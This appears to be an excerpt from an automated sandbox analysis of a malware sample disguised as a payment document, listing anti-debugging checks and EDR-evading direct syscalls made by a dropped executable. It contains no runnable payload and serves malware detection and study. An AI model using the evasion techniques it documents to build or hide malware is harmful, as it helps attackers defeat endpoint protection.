Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B62A0 mov eax, dword ptr fs:[00000030h]	2_2_014B62A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B62A0 mov eax, dword ptr fs:[00000030h]	2_2_014B62A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B62A0 mov eax, dword ptr fs:[00000030h]	2_2_014B62A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A92BC mov eax, dword ptr fs:[00000030h]	2_2_014A92BC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A92BC mov eax, dword ptr fs:[00000030h]	2_2_014A92BC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A92BC mov ecx, dword ptr fs:[00000030h]	2_2_014A92BC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A92BC mov ecx, dword ptr fs:[00000030h]	2_2_014A92BC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01428550 mov eax, dword ptr fs:[00000030h]	2_2_01428550
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01428550 mov eax, dword ptr fs:[00000030h]	2_2_01428550
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141B562 mov eax, dword ptr fs:[00000030h]	2_2_0141B562
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145656A mov eax, dword ptr fs:[00000030h]	2_2_0145656A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145656A mov eax, dword ptr fs:[00000030h]	2_2_0145656A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145656A mov eax, dword ptr fs:[00000030h]	2_2_0145656A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145B570 mov eax, dword ptr fs:[00000030h]	2_2_0145B570
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145B570 mov eax, dword ptr fs:[00000030h]	2_2_0145B570
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01457505 mov eax, dword ptr fs:[00000030h]	2_2_01457505
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01457505 mov ecx, dword ptr fs:[00000030h]	2_2_01457505
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F4500 mov eax, dword ptr fs:[00000030h]	2_2_014F4500
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F4500 mov eax, dword ptr fs:[00000030h]	2_2_014F4500
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F4500 mov eax, dword ptr fs:[00000030h]	2_2_014F4500
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F4500 mov eax, dword ptr fs:[00000030h]	2_2_014F4500
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F4500 mov eax, dword ptr fs:[00000030h]	2_2_014F4500
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F4500 mov eax, dword ptr fs:[00000030h]	2_2_014F4500
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F4500 mov eax, dword ptr fs:[00000030h]	2_2_014F4500
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DB52F mov eax, dword ptr fs:[00000030h]	2_2_014DB52F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CF525 mov eax, dword ptr fs:[00000030h]	2_2_014CF525
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CF525 mov eax, dword ptr fs:[00000030h]	2_2_014CF525
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CF525 mov eax, dword ptr fs:[00000030h]	2_2_014CF525
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CF525 mov eax, dword ptr fs:[00000030h]	2_2_014CF525
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CF525 mov eax, dword ptr fs:[00000030h]	2_2_014CF525
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CF525 mov eax, dword ptr fs:[00000030h]	2_2_014CF525
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CF525 mov eax, dword ptr fs:[00000030h]	2_2_014CF525
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145D530 mov eax, dword ptr fs:[00000030h]	2_2_0145D530
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145D530 mov eax, dword ptr fs:[00000030h]	2_2_0145D530
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430535 mov eax, dword ptr fs:[00000030h]	2_2_01430535
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430535 mov eax, dword ptr fs:[00000030h]	2_2_01430535
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430535 mov eax, dword ptr fs:[00000030h]	2_2_01430535
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430535 mov eax, dword ptr fs:[00000030h]	2_2_01430535
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430535 mov eax, dword ptr fs:[00000030h]	2_2_01430535
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430535 mov eax, dword ptr fs:[00000030h]	2_2_01430535
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142D534 mov eax, dword ptr fs:[00000030h]	2_2_0142D534
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142D534 mov eax, dword ptr fs:[00000030h]	2_2_0142D534
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142D534 mov eax, dword ptr fs:[00000030h]	2_2_0142D534
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142D534 mov eax, dword ptr fs:[00000030h]	2_2_0142D534
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142D534 mov eax, dword ptr fs:[00000030h]	2_2_0142D534
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142D534 mov eax, dword ptr fs:[00000030h]	2_2_0142D534
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F5537 mov eax, dword ptr fs:[00000030h]	2_2_014F5537
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E53E mov eax, dword ptr fs:[00000030h]	2_2_0144E53E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E53E mov eax, dword ptr fs:[00000030h]	2_2_0144E53E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E53E mov eax, dword ptr fs:[00000030h]	2_2_0144E53E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E53E mov eax, dword ptr fs:[00000030h]	2_2_0144E53E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E53E mov eax, dword ptr fs:[00000030h]	2_2_0144E53E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014555C0 mov eax, dword ptr fs:[00000030h]	2_2_014555C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F55C9 mov eax, dword ptr fs:[00000030h]	2_2_014F55C9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E5CF mov eax, dword ptr fs:[00000030h]	2_2_0145E5CF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E5CF mov eax, dword ptr fs:[00000030h]	2_2_0145E5CF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014265D0 mov eax, dword ptr fs:[00000030h]	2_2_014265D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0145A5D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0145A5D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F35D7 mov eax, dword ptr fs:[00000030h]	2_2_014F35D7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F35D7 mov eax, dword ptr fs:[00000030h]	2_2_014F35D7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F35D7 mov eax, dword ptr fs:[00000030h]	2_2_014F35D7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149D5D0 mov eax, dword ptr fs:[00000030h]	2_2_0149D5D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149D5D0 mov ecx, dword ptr fs:[00000030h]	2_2_0149D5D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014495DA mov eax, dword ptr fs:[00000030h]	2_2_014495DA
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014225E0 mov eax, dword ptr fs:[00000030h]	2_2_014225E0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0144E5E7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0144E5E7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0144E5E7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0144E5E7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0144E5E7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0144E5E7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0144E5E7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0144E5E7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145C5ED mov eax, dword ptr fs:[00000030h]	2_2_0145C5ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145C5ED mov eax, dword ptr fs:[00000030h]	2_2_0145C5ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415F4 mov eax, dword ptr fs:[00000030h]	2_2_014415F4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415F4 mov eax, dword ptr fs:[00000030h]	2_2_014415F4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415F4 mov eax, dword ptr fs:[00000030h]	2_2_014415F4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415F4 mov eax, dword ptr fs:[00000030h]	2_2_014415F4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415F4 mov eax, dword ptr fs:[00000030h]	2_2_014415F4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415F4 mov eax, dword ptr fs:[00000030h]	2_2_014415F4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01422582 mov eax, dword ptr fs:[00000030h]	2_2_01422582
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01422582 mov ecx, dword ptr fs:[00000030h]	2_2_01422582
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01454588 mov eax, dword ptr fs:[00000030h]	2_2_01454588
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141758F mov eax, dword ptr fs:[00000030h]	2_2_0141758F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141758F mov eax, dword ptr fs:[00000030h]	2_2_0141758F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141758F mov eax, dword ptr fs:[00000030h]	2_2_0141758F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E59C mov eax, dword ptr fs:[00000030h]	2_2_0145E59C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014AB594 mov eax, dword ptr fs:[00000030h]	2_2_014AB594
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014AB594 mov eax, dword ptr fs:[00000030h]	2_2_014AB594
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A05A7 mov eax, dword ptr fs:[00000030h]	2_2_014A05A7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A05A7 mov eax, dword ptr fs:[00000030h]	2_2_014A05A7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A05A7 mov eax, dword ptr fs:[00000030h]	2_2_014A05A7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415A9 mov eax, dword ptr fs:[00000030h]	2_2_014415A9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415A9 mov eax, dword ptr fs:[00000030h]	2_2_014415A9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415A9 mov eax, dword ptr fs:[00000030h]	2_2_014415A9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415A9 mov eax, dword ptr fs:[00000030h]	2_2_014415A9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014415A9 mov eax, dword ptr fs:[00000030h]	2_2_014415A9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B35BA mov eax, dword ptr fs:[00000030h]	2_2_014B35BA
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B35BA mov eax, dword ptr fs:[00000030h]	2_2_014B35BA
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B35BA mov eax, dword ptr fs:[00000030h]	2_2_014B35BA
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B35BA mov eax, dword ptr fs:[00000030h]	2_2_014B35BA
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DF5BE mov eax, dword ptr fs:[00000030h]	2_2_014DF5BE
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F5B0 mov eax, dword ptr fs:[00000030h]	2_2_0144F5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F5B0 mov eax, dword ptr fs:[00000030h]	2_2_0144F5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F5B0 mov eax, dword ptr fs:[00000030h]	2_2_0144F5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F5B0 mov eax, dword ptr fs:[00000030h]	2_2_0144F5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F5B0 mov eax, dword ptr fs:[00000030h]	2_2_0144F5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F5B0 mov eax, dword ptr fs:[00000030h]	2_2_0144F5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F5B0 mov eax, dword ptr fs:[00000030h]	2_2_0144F5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F5B0 mov eax, dword ptr fs:[00000030h]	2_2_0144F5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F5B0 mov eax, dword ptr fs:[00000030h]	2_2_0144F5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014445B1 mov eax, dword ptr fs:[00000030h]	2_2_014445B1
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014445B1 mov eax, dword ptr fs:[00000030h]	2_2_014445B1
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142B440 mov eax, dword ptr fs:[00000030h]	2_2_0142B440
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142B440 mov eax, dword ptr fs:[00000030h]	2_2_0142B440
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142B440 mov eax, dword ptr fs:[00000030h]	2_2_0142B440
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142B440 mov eax, dword ptr fs:[00000030h]	2_2_0142B440
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142B440 mov eax, dword ptr fs:[00000030h]	2_2_0142B440
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142B440 mov eax, dword ptr fs:[00000030h]	2_2_0142B440
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E443 mov eax, dword ptr fs:[00000030h]	2_2_0145E443
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E443 mov eax, dword ptr fs:[00000030h]	2_2_0145E443
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E443 mov eax, dword ptr fs:[00000030h]	2_2_0145E443
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E443 mov eax, dword ptr fs:[00000030h]	2_2_0145E443
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E443 mov eax, dword ptr fs:[00000030h]	2_2_0145E443
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E443 mov eax, dword ptr fs:[00000030h]	2_2_0145E443
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E443 mov eax, dword ptr fs:[00000030h]	2_2_0145E443
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E443 mov eax, dword ptr fs:[00000030h]	2_2_0145E443
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141645D mov eax, dword ptr fs:[00000030h]	2_2_0141645D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DF453 mov eax, dword ptr fs:[00000030h]	2_2_014DF453
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144245A mov eax, dword ptr fs:[00000030h]	2_2_0144245A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01421460 mov eax, dword ptr fs:[00000030h]	2_2_01421460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01421460 mov eax, dword ptr fs:[00000030h]	2_2_01421460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01421460 mov eax, dword ptr fs:[00000030h]	2_2_01421460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01421460 mov eax, dword ptr fs:[00000030h]	2_2_01421460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01421460 mov eax, dword ptr fs:[00000030h]	2_2_01421460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143F460 mov eax, dword ptr fs:[00000030h]	2_2_0143F460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143F460 mov eax, dword ptr fs:[00000030h]	2_2_0143F460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143F460 mov eax, dword ptr fs:[00000030h]	2_2_0143F460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143F460 mov eax, dword ptr fs:[00000030h]	2_2_0143F460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143F460 mov eax, dword ptr fs:[00000030h]	2_2_0143F460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143F460 mov eax, dword ptr fs:[00000030h]	2_2_0143F460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014AC460 mov ecx, dword ptr fs:[00000030h]	2_2_014AC460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F547F mov eax, dword ptr fs:[00000030h]	2_2_014F547F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144A470 mov eax, dword ptr fs:[00000030h]	2_2_0144A470
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144A470 mov eax, dword ptr fs:[00000030h]	2_2_0144A470
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144A470 mov eax, dword ptr fs:[00000030h]	2_2_0144A470
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01458402 mov eax, dword ptr fs:[00000030h]	2_2_01458402
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01458402 mov eax, dword ptr fs:[00000030h]	2_2_01458402
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01458402 mov eax, dword ptr fs:[00000030h]	2_2_01458402
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144340D mov eax, dword ptr fs:[00000030h]	2_2_0144340D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A7410 mov eax, dword ptr fs:[00000030h]	2_2_014A7410

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Memory allocated: page read and write | page guard

Found direct / indirect Syscall (likely to bypass EDR)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtOpenKeyEx: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtQueryValueKey: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
